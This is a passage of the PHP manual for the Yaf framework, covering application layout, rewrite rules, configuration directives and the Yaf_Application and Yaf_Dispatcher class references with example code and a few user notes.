    [YAF_ERR_TYPE_ERROR] => 521

So use PHP_YAF_VERSION instead of just YAF_VERSION


Examples

Example #1 A classic Application directory layout

- index.php
- .htaccess
+ conf
  |- application.ini //application config
- application/
  - Bootstrap.php
  + controllers
     - Index.php //default controller
  + views
     |+ index
        - index.phtml //view template for default action
  + modules
  - library
  - models
  - plugins

Example #2 Entry

index.php in the top directory is the only way in of the application, you should rewrite all request to it(you can use .htaccess in Apache+php_mod)

<?php
define("APPLICATION_PATH",  dirname(__FILE__));

$app  = new Yaf_Application(APPLICATION_PATH . "/conf/application.ini");
$app->bootstrap() //call bootstrap methods defined in Bootstrap.php
 ->run();
?>

Example #3 Rewrite rule

#for apache (.htaccess)
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule .* index.php

#for nginx
server {
  listen ****;
  server_name  domain.com;
  root   document_root;
  index  index.php index.html index.htm;

  if (!-e $request_filename) {
    rewrite ^/(.*)  /index.php/$1 last;
  }
}

#for lighttpd
$HTTP["host"] =~ "(www.)?domain.com$" {
  url.rewrite = (
     "^/(.+)/?$"  => "/index.php/$1",
  )
}

Example #4 Application config

[yaf]
;APPLICATION_PATH is the constant defined in index.php
application.directory=APPLICATION_PATH "/application/"

;product section inherit from yaf section
[product:yaf]
foo=bar

Example #5 Default controller

<?php
class IndexController extends Yaf_Controller_Abstract {
   /* default action */
   public function indexAction() {
       $this->_view->word = "hello world";
       //or
       // $this->getView()->word = "hello world";
   }
}
?>

Example #6 Default view template

<html>
 <head>
   <title>Hello World</title>
 </head>
 <body>
   <?php echo $word;?>
 </body>
</html>

Example #7 Run the Applicatioin

The above example will output something similar to:

<html>
 <head>
   <title>Hello World</title>
 </head>
 <body>
   hello world
 </body>
</html>

Note:

you can also generate above example by use Yaf codes generator, which could be found here yaf@github.

User Contributed Notes

gaohuag at 126 dot com 13-Mar-2014 03:57
This example is an enlightenment, it is necessary to improve the look
Li Min 31-Oct-2013 03:26
http://us3.php.net/manual/zh/yaf.tutorials.php

Lost default Bootstrap.php

<?php
   /* bootstrap class should be defined under ./application/Bootstrap.php */
   class Bootstrap extends Yaf_Bootstrap_Abstract {
        public function _initConfig(Yaf_Dispatcher $dispatcher) {
            var_dump(__METHOD__);
        }
        public function _initPlugin(Yaf_Dispatcher $dispatcher) {
            var_dump(__METHOD__);
        }
   }


Application Configuration

You should give an array of config or an ini config file(see Yaf_Config_Ini) path to Yaf_Application::__construct().

Yaf will merge the application configurations and user configurations automatically. The application configurations have prefix "yaf." or "application.". If both "yaf." and "application." exist, "application." will be accepcted preferentially.

Example #1 An PHP array example

<?php
    $configs = array(
            "application" => array(
                "directory" => dirname(__FILE__),
                "dispatcher" => array(
                      "catchException" => 0,
                    ),
                "view" => array(
                       "ext" => "phtml",
                    ),
                ),
           );
    $app = new Yaf_Application($config);
?>

Example #2 An ini file example

[yaf]
yaf.directory = APPLICATION_PATH "/appliation"
yaf.dispatcher.catchException = 0

[product : yaf]
; user configuration list here

Yaf Application Config
Name | Default | Changelog
application.directory |  |
application.ext | "php" |
application.view.ext | "phtml" |
application.modules | "index" |
application.library | application.directory . "/library" |
application.library.directory | application.directory . "/library" |
application.library.namespace | "" |
application.bootstrap | application.directory . "/Bootstrap" . application.ext |
application.baseUri | "" |
application.dispatcher.defaultRoute |  |
application.dispatcher.throwException | 1 |
application.dispatcher.catchException | 0 |
application.dispatcher.defaultModule | "index" |
application.dispatcher.defaultController | "index" |
application.dispatcher.defaultAction | "index" |
application.system |  |

Here's a short explanation of the configuration directives.

application.directory string

The directory of the application, that is the folder which contains the "controllers", "views", "models", "plugins" folders.

Note:

This config entry is the only one which doesn't has a default value. You should always define it manually.

application.ext string

The file ext of the PHP script, used in class autoloading( Yaf_Loader).

application.view.ext string

The file ext of the view template scripts.

application.modules string

A comma-separated list of the registered modules, used in the route process, especially while there are more than three segments in the PATH_INFO,

Yaf need a way to find out whether the first segment is a module name or not.

application.library string

The local library directory, see Yaf_Loader and yaf.library.

Note:

After Yaf 2.1.6, this config entry can be an array. The library path will try to use the items setted in application.library.directory

application.library.directory string

Alias of application.library. Introduced in Yaf 2.1.6

application.library.namespace string

A comma-separated prefix of local library namespace.

Introduced in Yaf 2.1.6

application.bootstrap string

A absolute path of the Bootstrap class script.

application.baseUri string

Used to remove a fixed prefix of request uri in route process. Take a example, comes a request with request uri "/prefix/controller/action". if you set application.baseUri to "/prefix", then only "/controller/action" will take as the PATH_INFO in route process.

In generally, there is no need to set this value.

application.dispatcher.throwException bool

If it set to On, Yaf will throw an exception while some error occurring. See also Yaf_Dispatcher::throwException().

application.dispatcher.catchException bool

If it set to On, Yaf will forward to Error controller/Action while there is an unhandled exception. See also Yaf_Dispatcher::catchException().

application.dispatcher.defaultRoute string

The default Route, if it is not specificed, Static route will be used as default. See: Yaf_Router::addRoute().

application.dispatcher.defaultModule string

The default module name, see also Yaf_Dispatcher::setDefaultModule().

application.dispatcher.defaultController string

The default controller name, see also Yaf_Dispatcher::setDefaultController().

application.dispatcher.defaultAction string

The default action name, see also Yaf_Dispatcher::setDefaultAction().

application.system string

Set yaf runtime configure in application.ini, like: application.system.lowcase_path

Note:

only those PHP_INI_ALL configures can be set in this way

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Application class

(No version information available, might only be in Git)

Introduction

Yaf_Application provides a bootstrapping facility for applications which provides reusable resources, common- and module-based bootstrap classes and dependency checking.

Note:

Yaf_Application implements the singleton pattern, and Yaf_Application can not be serialized or unserialized which will cause problem when you try to use PHPUnit to write some test case for Yaf.

You may use @backupGlobals annotation of PHPUnit to control the backup and restore operations for global variables. thus can solve this problem.

Class synopsis

final Yaf_Application {
/* Properties */
protected $config ;
protected $dispatcher ;
protected static $_app ;
protected $_modules ;
protected $_running ;
protected $_environ ;
/* Methods */
public static void app ( void )
public void bootstrap ([ Yaf_Bootstrap_Abstract $bootstrap ] )
public Yaf_Application clearLastError ( void )
private void __clone ( void )
public__construct ( mixed $config [, string $envrion ] )
public void __destruct ( void )
public void environ ( void )
public void execute ( callable $entry , string $... )
public Yaf_Application getAppDirectory ( void )
public Yaf_Config_Abstract getConfig ( void )
public Yaf_Dispatcher getDispatcher ( void )
public string getLastErrorMsg ( void )
public int getLastErrorNo ( void )
public array getModules ( void )
public void run ( void )
public Yaf_Application setAppDirectory ( string $directory )
private void __sleep ( void )
private void __wakeup ( void )
}

Properties

config

dispatcher

_app

_modules

_running

_environ

Table of Contents

  • Yaf_Application::app — Retrieve an Application instance
  • Yaf_Application::bootstrap — Call bootstrap
  • Yaf_Application::clearLastError — Clear the last error info
  • Yaf_Application::__clone — Yaf_Application can not be cloned
  • Yaf_Application::__construct — Yaf_Application constructor
  • Yaf_Application::__destruct — The __destruct purpose
  • Yaf_Application::environ — Retrive environ
  • Yaf_Application::execute — Execute a callback
  • Yaf_Application::getAppDirectory — Get the application directory
  • Yaf_Application::getConfig — Retrive the config instance
  • Yaf_Application::getDispatcher — Get Yaf_Dispatcher instance
  • Yaf_Application::getLastErrorMsg — Get message of the last occurred error
  • Yaf_Application::getLastErrorNo — Get code of last occurred error
  • Yaf_Application::getModules — Get defined module names
  • Yaf_Application::run — Start Yaf_Application
  • Yaf_Application::setAppDirectory — Change the application directory
  • Yaf_Application::__sleep — Yaf_Application can not be serialized
  • Yaf_Application::__wakeup — Yaf_Application can not be unserialized

User Contributed Notes

There are no user contributed notes for this page.


Retrieve an Application instance

  • « Yaf_Application
  • Yaf_Application::bootstrap »
  • PHP Manual
  • Yaf_Application
  • Retrieve an Application instance

Yaf_Application::app

(Yaf >=1.0.0)

Yaf_Application::app — Retrieve an Application instance

Description

public static void Yaf_Application::app ( void )

Retrieve the Yaf_Application instance. Alternatively, we also could use Yaf_Dispatcher::getApplication().

Parameters

This function has no parameters.

Return Values

A Yaf_Application instance, if no Yaf_Application was initialized before, NULL will be returned.

See Also

  • Yaf_Dispatcher::getApplication() - Retrive the application

User Contributed Notes

There are no user contributed notes for this page.


Call bootstrap

  • « Yaf_Application::app
  • Yaf_Application::clearLastError »
  • PHP Manual
  • Yaf_Application
  • Call bootstrap

Yaf_Application::bootstrap

(Yaf >=1.0.0)

Yaf_Application::bootstrap — Call bootstrap

Description

public void Yaf_Application::bootstrap ([ Yaf_Bootstrap_Abstract $bootstrap ] )

Run a Bootstrap, all the methods defined in the Bootstrap and named with prefix "_init" will be called according to their declaration order, if the parameter bootstrap is not supplied, Yaf will look for a Bootstrap under application.directory.

Parameters

bootstrap

A Yaf_Bootstrap_Abstract instance

Return Values

Yaf_Application instance

Examples

Example #1 A Bootstrap()example

<?php
/**
 * This file should be under the APPLICATION_PATH . "/application/"(which was defined in the config passed to Yaf_Application).
 * and named Bootstrap.php,  so the Yaf_Application can find it
 */
class Bootstrap extends Yaf_Bootstrap_Abstract {
    function _initConfig(Yaf_Dispatcher $dispatcher) {
        echo "1st called\n";
    }

    function _initPlugin($dispatcher) {
        echo "2nd called\n";
    }
}
?>

Example #2 Yaf_Application::bootstrap()example

<?php

defined('APPLICATION_PATH')                  // APPLICATION_PATH will be used in the ini config file
    || define('APPLICATION_PATH', __DIR__)); //__DIR__ was introduced after PHP 5.3

$application = new Yaf_Application(APPLICATION_PATH.'/conf/application.ini');
$application->bootstrap();
?>

The above example will output something similar to:

1st called
2nd called

See Also

  • Yaf_Bootstrap_Abstract

User Contributed Notes

brandon at brandonlamb dot com 30-Dec-2011 05:50
Here is an example of a Bootstrap loading a session class then loading a database class and using a db configuration from the application config.

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract
{
    public function _initSession(Yaf_Dispatcher $dispatcher)
    {
        $session = new Vendor\Session();
        $session->start();
    }

    public function _initDatabase(Yaf_Dispatcher $dispatcher)
    {
        $config = Yaf_Application::app()->getConfig()->application->database;
        Yaf_Registry::set('db', Vendor\Database($config));
    }
}
?>


Clear the last error info

  • « Yaf_Application::bootstrap
  • Yaf_Application::__clone »
  • PHP Manual
  • Yaf_Application
  • Clear the last error info

Yaf_Application::clearLastError

(Yaf >=2.1.2)

Yaf_Application::clearLastError — Clear the last error info

Description

public Yaf_Application Yaf_Application::clearLastError ( void )

Parameters

This function has no parameters.

Return Values

Examples

Example #1 Yaf_Application::clearLastError()example

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
   Yaf_Application::app()->clearLastError();
   var_dump(Yaf_Application::app()->getLastErrorNo());
}

$config = array(
 "application" => array(
   "directory" => "/tmp/notexists",
     "dispatcher" => array(
       "throwException" => 0, //trigger error instead of throw exception when error occure
      ),
  ),
);

$app = new Yaf_Application($config);
$app->getDispatcher()->setErrorHandler("error_handler", E_RECOVERABLE_ERROR);
$app->run();
?>

The above example will output something similar to:

int(0)

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Application can not be cloned

  • « Yaf_Application::clearLastError
  • Yaf_Application::__construct »
  • PHP Manual
  • Yaf_Application
  • Yaf_Application can not be cloned

Yaf_Application::__clone

(Yaf >=1.0.0)

Yaf_Application::__clone — Yaf_Application can not be cloned

Description

private void Yaf_Application::__clone ( void )

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Application constructor

  • « Yaf_Application::__clone
  • Yaf_Application::__destruct »
  • PHP Manual
  • Yaf_Application
  • Yaf_Application constructor

Yaf_Application::__construct

(Yaf >=1.0.0)

Yaf_Application::__construct — Yaf_Application constructor

Description

publicYaf_Application::__construct ( mixed $config [, string $envrion ] )

Instance a Yaf_Application.

Parameters

config

A ini config file path, or a config array

If is a ini config file, there should be a section named as the one defined by yaf.environ, which is "product" by default.

Note:

If you use a ini configuration file as your applicatioin's config container. you would open the yaf.cache_config to improve performance.

And the config entry(and there default value) list blow:

Example #1 A ini config file example

[product]
;this one should alway be defined, and have no default value
application.directory=APPLICATION_PATH

;following configs have default value, you may no need to define them
application.library = APPLICATION_PATH . "/library"
application.dispatcher.throwException=1
application.dispatcher.catchException=1

application.baseUri=""

;the php script ext name
ap.ext=php

;the view template ext name
ap.view.ext=phtml

ap.dispatcher.defaultModuel=Index
ap.dispatcher.defaultController=Index
ap.dispatcher.defaultAction=index

;defined modules
ap.modules=Index

envrion

Which section will be loaded as the final config

Return Values

Examples

Example #2 Yaf_Application::__construct()example

<?php
defined('APPLICATION_PATH')                  // APPLICATION_PATH will be used in the ini config file
    || define('APPLICATION_PATH', __DIR__)); //__DIR__ was introduced after PHP 5.3

$application = new Yaf_Application(APPLICATION_PATH.'/conf/application.ini');
$application->bootstrap()->run();
?>

The above example will output something similar to:

Example #3 Yaf_Application::__construct()example

<?php
$config = array(
    "application" => array(
        "directory" => realpath(dirname(__FILE__)) . "/application",
    ),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
$application->bootstrap()->run();
?>

The above example will output
something similar to:

See Also

  • Yaf_Config_Ini
    •

User Contributed Notes

There are no user contributed notes for this page.


The __destruct purpose

  • « Yaf_Application::__construct
  • Yaf_Application::environ »
  • PHP Manual
  • Yaf_Application
  • The __destruct purpose

Yaf_Application::__destruct

(Yaf >=1.0.0)

Yaf_Application::__destruct — The __destruct purpose

Description

public void Yaf_Application::__destruct ( void )

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Retrive environ

  • « Yaf_Application::__destruct
  • Yaf_Application::execute »
  • PHP Manual
  • Yaf_Application
  • Retrive environ

Yaf_Application::environ

(Yaf >=1.0.0)

Yaf_Application::environ — Retrive environ

Description

public void Yaf_Application::environ ( void )

Retrive environ which was defined in yaf.environ which has a default value "product".

Parameters

This function has no parameters.

Return Values

Examples

Example #1 Yaf_Application::environ()example

<?php
$config = array(
    "application" => array(
        "directory" => realpath(dirname(__FILE__)) . "/application",
    ),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
print_r($application->environ());
?>

The above example will output something similar to:

product

User Contributed Notes

There are no user contributed notes for this page.


Execute a callback

  • « Yaf_Application::environ
  • Yaf_Application::getAppDirectory »
  • PHP Manual
  • Yaf_Application
  • Execute a callback

Yaf_Application::execute

(Yaf >=1.0.0)

Yaf_Application::execute — Execute a callback

Description

public void Yaf_Application::execute ( callable $entry , string $... )

This method is typically used to run Yaf_Application in a crontab work. Make the crontab work can also use the autoloader and Bootstrap mechanism.

Parameters

entry

a valid callback

...

parameters will pass to the callback

Return Values

Examples

Example #1 Yaf_Application::execute()example

<?php
function main($argc, $argv) {
}

$config = array(
    "application" => array(
        "directory" => realpath(dirname(__FILE__)) . "/application",
    ),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
$application->execute("main", $argc,  $argv);
?>

The above example will output something similar to:

User Contributed Notes

There are no user contributed notes for this page.


Get the application directory

  • « Yaf_Application::execute
  • Yaf_Application::getConfig »
  • PHP Manual
  • Yaf_Application
  • Get the application directory

Yaf_Application::getAppDirectory

(Yaf >=2.1.4)

Yaf_Application::getAppDirectory — Get the application directory

Description

public Yaf_Application Yaf_Application::getAppDirectory ( void )

Parameters

directory

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Retrive the config instance

  • « Yaf_Application::getAppDirectory
  • Yaf_Application::getDispatcher »
  • PHP Manual
  • Yaf_Application
  • Retrive the config instance

Yaf_Application::getConfig

(Yaf >=1.0.0)

Yaf_Application::getConfig — Retrive the config instance

Description

public Yaf_Config_Abstract Yaf_Application::getConfig ( void )

Parameters

This function has no parameters.

Return Values

A Yaf_Config_Abstract instance

Examples

Example #1 Yaf_Application::getConfig()example

<?php
$config = array(
    "application" => array(
        "directory" => realpath(dirname(__FILE__)) . "/application",
    ),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
print_r($application->getConfig());
?>

The above example will output something similar to:

Yaf_Config_Simple Object
(
    [_config:protected] => Array
        (
            [application] => Array
                (
                    [directory] => /home/laruence/local/www/htdocs/application
                )

        )

    [_readonly:protected] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Get Yaf_Dispatcher instance

  • « Yaf_Application::getConfig
  • Yaf_Application::getLastErrorMsg »
  • PHP Manual
  • Yaf_Application
  • Get Yaf_Dispatcher instance

Yaf_Application::getDispatcher

(Yaf >=1.0.0)

Yaf_Application::getDispatcher — Get Yaf_Dispatcher instance

Description

public Yaf_Dispatcher Yaf_Application::getDispatcher ( void )

Parameters

This function has no parameters.

Return Values

Examples

Example #1 Yaf_Application::getDispatcher()example

<?php
$config = array(
    "application" => array(
        "directory" => realpath(dirname(__FILE__)) . "/application",
    ),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
print_r($application->getDispatcher());
?>

The above example will output something similar to:

Yaf_Dispatcher Object
(
    [_router:protected] => Yaf_Router Object
        (
            [_routes:protected] => Array
                (
                    [_default] => Yaf_Route_Static Object
                        (
                        )

                )

            [_current:protected] =>
        )

    [_view:protected] =>
    [_request:protected] => Yaf_Request_Http Object
        (
            [module] =>
            [controller] =>
            [action] =>
            [method] => Cli
            [params:protected] => Array
                (
                )

            [language:protected] =>
            [_exception:protected] =>
            [_base_uri:protected] =>
            [uri:protected] =>
            [dispatched:protected] =>
            [routed:protected] =>
        )

    [_plugins:protected] => Array
        (
        )

    [_auto_render:protected] => 1
    [_return_response:protected] =>
    [_instantly_flush:protected] =>
    [_default_module:protected] => Index
    [_default_controller:protected] => Index
    [_default_action:protected] => index
    [_response] => Yaf_Response_Cli Object
        (
            [_header:protected] => Array
                (
                )

            [_body:protected] =>
            [_sendheader:protected] =>
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Get message of the last occurred error

  • « Yaf_Application::getDispatcher
  • Yaf_Application::getLastErrorNo »
  • PHP Manual
  • Yaf_Application
  • Get message of the last occurred error

Yaf_Application::getLastErrorMsg

(Yaf >=2.1.2)

Yaf_Application::getLastErrorMsg — Get message of the last occurred error

Description

public string Yaf_Application::getLastErrorMsg ( void )

Parameters

This function has no parameters.

Return Values

Examples

Example #1 Yaf_Application::getLastErrorMsg()example

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
   var_dump(Yaf_Application::app()->getLastErrorMsg());
}

$config = array(
 "application" => array(
   "directory" => "/tmp/notexists",
     "dispatcher" => array(
       "throwException" => 0, //trigger error instead of throw exception when error occure
      ),
  ),
);

$app = new Yaf_Application($config);
$app->getDispatcher()->setErrorHandler("error_handler", E_RECOVERABLE_ERROR);
$app->run();
?>

The above example will output something similar to:

string(69) "Could not find controller script /tmp/notexists/controllers/Index.php"

User Contributed Notes

There are no user contributed notes for this page.


Get code of last occurred error

  • « Yaf_Application::getLastErrorMsg
  • Yaf_Application::getModules »
  • PHP Manual
  • Yaf_Application
  • Get code of last occurred error

Yaf_Application::getLastErrorNo

(Yaf >=2.1.2)

Yaf_Application::getLastErrorNo — Get code of last occurred error

Description

public int Yaf_Application::getLastErrorNo ( void )

Parameters

This function has no parameters.

Return Values

Examples

Example #1 Yaf_Application::getLastErrorNo()example

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
   var_dump(Yaf_Application::app()->getLastErrorNo());
   var_dump(Yaf_Application::app()->getLastErrorNo() == YAF_ERR_NOTFOUND_CONTROLLER);
}

$config = array(
  "application" => array(
   "directory" => "/tmp/notexists",
     "dispatcher" => array(
       "throwException" => 0, //trigger error instead of throw exception when error occure
      ),
  ),
);

$app = new Yaf_Application($config);
$app->getDispatcher()->setErrorHandler("error_handler", E_RECOVERABLE_ERROR);
$app->run();
?>

The above example will output something similar to:

int(516)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Get defined module names

  • « Yaf_Application::getLastErrorNo
  • Yaf_Application::run »
  • PHP Manual
  • Yaf_Application
  • Get defined module names

Yaf_Application::getModules

(Yaf >=1.0.0)

Yaf_Application::getModules — Get defined module names

Description

public array Yaf_Application::getModules ( void )

Get the modules list defined in config, if no one defined, there will always be a module named "Index".

Parameters

This function has no parameters.

Return Values

Examples

Example #1 Yaf_Application::getModules()example

<?php
$config = array(
    "application" => array(
        "directory" => realpath(dirname(__FILE__)) . "/application",
    ),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
print_r($application->getModules());
?>

The above example will output something similar to:

Array
(
    [0] => Index
)

User Contributed Notes

There are no user contributed notes for this page.


Start Yaf_Application

  • « Yaf_Application::getModules
  • Yaf_Application::setAppDirectory »
  • PHP Manual
  • Yaf_Application
  • Start Yaf_Application

Yaf_Application::run

(Yaf >=1.0.0)

Yaf_Application::run — Start Yaf_Application

Description

public void Yaf_Application::run ( void )

Run a Yaf_Application, let the Yaf_Application accept a request and route this request, dispatch to controller/action and render response. Finally, return the response to the client.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Change the application directory

  • « Yaf_Application::run
  • Yaf_Application::__sleep »
  • PHP Manual
  • Yaf_Application
  • Change the application directory

Yaf_Application::setAppDirectory

(Yaf >=2.1.4)

Yaf_Application::setAppDirectory — Change the application directory

Description

public Yaf_Application Yaf_Application::setAppDirectory ( string $directory )

Parameters

directory

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Application can not be serialized

  • « Yaf_Application::setAppDirectory
  • Yaf_Application::__wakeup »
  • PHP Manual
  • Yaf_Application
  • Yaf_Application can not be serialized

Yaf_Application::__sleep

(Yaf >=1.0.0)

Yaf_Application::__sleep — Yaf_Application can not be serialized

Description

private void Yaf_Application::__sleep ( void )

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Application can not be unserialized

  • « Yaf_Application::__sleep
  • Yaf_Bootstrap_Abstract »
  • PHP Manual
  • Yaf_Application
  • Yaf_Application can not be unserialized

Yaf_Application::__wakeup

(Yaf >=1.0.0)

Yaf_Application::__wakeup — Yaf_Application can not be unserialized

Description

private void Yaf_Application::__wakeup ( void )

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Bootstrap_Abstract class

(No version information available, might only be in Git)

Introduction

Bootstrap is a mechanism used to do some intial config before a Application run.

User may define their own Bootstrap class by inheriting Yaf_Bootstrap_Abstract

Any method declared in Bootstrap class with leading "_init", will be called by Yaf_Application::bootstrap() one by one according to their defined order.

Examples

Example #1 Bootstrap example

<?php
   /* bootstrap class should be defined under ./application/Bootstrap.php */
   class Bootstrap extends Yaf_Bootstrap_Abstract {
        public function _initConfig(Yaf_Dispatcher $dispatcher) {
            var_dump(__METHOD__);
        }
        public function _initPlugin(Yaf_Dispatcher $dispatcher) {
            var_dump(__METHOD__);
        }
   }

   $config = array(
       "application" => array(
           "directory" => dirname(__FILE__) . "/application/",
       ),
   );

   $app = new Yaf_Application($config);
   $app->bootstrap();
?>

The above example will output something similar to:

string(22) "Bootstrap::_initConfig"
string(22) "Bootstrap::_initPlugin"

Class synopsis

abstract Yaf_Bootstrap_Abstract {
/* Properties */
/* Methods */
}

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Dispatcher class

(Yaf >=1.0.0)

Introduction

Yaf_Dispatcher purpose is to initialize the request environment, route the incoming request, and then dispatch any discovered actions; it aggregates any responses and returns them when the process is complete.

Yaf_Dispatcher also implements the Singleton pattern, meaning only a single instance of it may be available at any given time. This allows it to also act as a registry on which the other objects in the dispatch process may draw.

Class synopsis

final Yaf_Dispatcher {
/* Properties */
protected $_router ;
protected $_view ;
protected $_request ;
protected $_plugins ;
protected static $_instance ;
protected $_auto_render ;
protected $_return_response ;
protected $_instantly_flush ;
protected $_default_module ;
protected $_default_controller ;
protected $_default_action ;
/* Methods */
public Yaf_Dispatcher autoRender ([ bool $flag ] )
public Yaf_Dispatcher catchException ([ bool $flag ] )
private void __clone ( void )
public__construct ( void )
public bool disableView ( void )
public Yaf_Response_Abstract dispatch ( Yaf_Request_Abstract $request )
public Yaf_Dispatcher enableView ( void )
public Yaf_Dispatcher flushInstantly ([ bool $flag ] )
public Yaf_Application getApplication ( void )
public static Yaf_Dispatcher getInstance ( void )
public Yaf_Request_Abstract getRequest ( void )
public Yaf_Router getRouter ( void )
public Yaf_View_Interface initView ( string $templates_dir [, array $options ] )
public Yaf_Dispatcher registerPlugin ( Yaf_Plugin_Abstract $plugin )
public Yaf_Dispatcher returnResponse ( bool $flag )
public Yaf_Dispatcher setDefaultAction ( string $action )
public Yaf_Dispatcher setDefaultController ( string $controller )
public Yaf_Dispatcher setDefaultModule ( string $module )
public Yaf_Dispatcher setErrorHandler ( call $callback , int $error_types )
public Yaf_Dispatcher setRequest ( Yaf_Request_Abstract $request )
public Yaf_Dispatcher setView ( Yaf_View_Interface $view )
private void __sleep ( void )
public Yaf_Dispatcher throwException ([ bool $flag ] )
private void __wakeup ( void )
}

Properties

_router

_view

_request

_plugins

_instance

_auto_render

_return_response

_instantly_flush

_default_module

_default_controller

_default_action

Table of Contents

  • Yaf_Dispatcher::autoRender — Switch on/off autorendering
  • Yaf_Dispatcher::catchException — Switch on/off exception catching
  • Yaf_Dispatcher::__clone — Yaf_Dispatcher can not be cloned
  • Yaf_Dispatcher::__construct — Yaf_Dispatcher constructor
  • Yaf_Dispatcher::disableView — Disable view rendering
  • Yaf_Dispatcher::dispatch — Dispatch a request
  • Yaf_Dispatcher::enableView — enable view rendering
  • Yaf_Dispatcher::flushInstantly — Switch on/off the instant flushing
  • Yaf_Dispatcher::getApplication — Retrive the application
  • Yaf_Dispatcher::getInstance — Retrive the dispatcher instance
  • Yaf_Dispatcher::getRequest — Retrive the request instance
  • Yaf_Dispatcher::getRouter — Retrive router instance
  • Yaf_Dispatcher::initView — Initialize view and return it
  • Yaf_Dispatcher::registerPlugin — Register a plugin
  • Yaf_Dispatcher::returnResponse — The returnResponse purpose
  • Yaf_Dispatcher::setDefaultAction — Change default action name
  • Yaf_Dispatcher::setDefaultController — Change default controller name
  • Yaf_Dispatcher::setDefaultModule — Change default module name
  • Yaf_Dispatcher::setErrorHandler — Set error handler
  • Yaf_Dispatcher::setRequest — The setRequest purpose
  • Yaf_Dispatcher::setView — Set a custom view engine
  • Yaf_Dispatcher::__sleep — Yaf_Dispatcher can not be serialized
  • Yaf_Dispatcher::throwException — Switch on/off exception throwing
  • Yaf_Dispatcher::__wakeup — Yaf_Dispatcher can not be unserialized

User Contributed Notes

There are no user contributed notes for this page.


Switch on/off autorendering

  • « Yaf_Dispatcher
  • Yaf_Dispatcher::catchException »
  • PHP Manual
  • Yaf_Dispatcher
  • Switch on/off autorendering

Yaf_Dispatcher::autoRender

(Yaf >=1.0.0)

Yaf_Dispatcher::autoRender — Switch on/off autorendering

Description

public Yaf_Dispatcher Yaf_Dispatcher::autoRender ([ bool $flag ] )

Yaf_Dispatcher will render automatically after dispatches a incoming request, you can prevent the rendering by calling this method with flag TRUE

Note:

you can simply return FALSE in a action to prevent the auto-rendering of that action

Parameters

flag

bool

Note:

since 2.2.0, if this parameter is not given, then the current state will be renturned

Return Values

Examples

Example #1 Yaf_Dispatcher::autoRender()example

<?php
class IndexController extends Yaf_Controller_Abstract {
     /* init method will be called as soon as a controller is initialized */
     public function init() {
         if ($this->getRequest()->isXmlHttpRequest()) {
             //do not call render for ajax request
             //we will outpu a json string
             Yaf_Dispatcher::getInstance()->autoRender(FALSE);
         }
     }

}
?>

The above example will output something similar to:

User Contributed Notes

There are no user contributed notes for this page.


Switch on/off exception catching

  • « Yaf_Dispatcher::autoRender
  • Yaf_Dispatcher::__clone »
  • PHP Manual
  • Yaf_Dispatcher
  • Switch on/off exception catching

Yaf_Dispatcher::catchException

(Yaf >=1.0.0)

Yaf_Dispatcher::catchException — Switch on/off exception catching

Description

public Yaf_Dispatcher Yaf_Dispatcher::catchException ([ bool $flag ] )

While the application.dispatcher.throwException is On(you can also calling to Yaf_Dispatcher::throwException(TRUE)() to enable it), Yaf will throw Exception whe error occurrs instead of trigger error.

then if you enable Yaf_Dispatcher::catchException()(also can enabled by set application.dispatcher.catchException), all uncaught Exceptions will be caught by ErrorController::error if you have defined one.

Parameters

flag

bool

Return Values

Examples

Example #1 Yaf_Dispatcher::catchException()example

/* if you defined a ErrorController like following */
<?php
class ErrorController extends Yaf_Controller_Abstract {
     /**
      * you can also call to Yaf_Request_Abstract::getException to get the
      * un-caught exception.
      */
     public function errorAction($exception) {
        /* error occurs */
        switch ($exception->getCode()) {
            case YAF_ERR_NOTFOUND_MODULE:
            case YAF_ERR_NOTFOUND_CONTROLLER:
            case YAF_ERR_NOTFOUND_ACTION:
            case YAF_ERR_NOTFOUND_VIEW:
                echo 404, ":", $exception->getMessage();
                break;
            default :
                $message = $exception->getMessage();
                echo 0, ":", $exception->getMessage();
                break;
        }
     }
}
?>

The above example will output something similar to:

/* now if some error occur, assuming access a non-exists controller(or you can throw a exception yourself): */
404:Could not find controller script **/application/controllers/No-exists-controller.php

See Also

  • Yaf_Dispatcher::throwException() - Switch on/off exception throwing
  • Yaf_Dispatcher::setErrorHandler() - Set error handler

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Dispatcher can not be cloned

  • « Yaf_Dispatcher::catchException
  • Yaf_Dispatcher::__construct »
  • PHP Manual
  • Yaf_Dispatcher
  • Yaf_Dispatcher can not be cloned

Yaf_Dispatcher::__clone

(Yaf >=1.0.0)

Yaf_Dispatcher::__clone — Yaf_Dispatcher can not be cloned

Description

private void Yaf_Dispatcher::__clone ( void )

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Dispatcher constructor

  • « Yaf_Dispatcher::__clone
  • Yaf_Dispatcher::disableView »
  • PHP Manual
  • Yaf_Dispatcher
  • Yaf_Dispatcher constructor

Yaf_Dispatcher::__construct

(Yaf >=1.0.0)

Yaf_Dispatcher::__construct — Yaf_Dispatcher constructor

Description

publicYaf_Dispatcher::__construct ( void )

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Disable view rendering

  • « Yaf_Dispatcher::__construct
  • Yaf_Dispatcher::dispatch »
  • PHP Manual
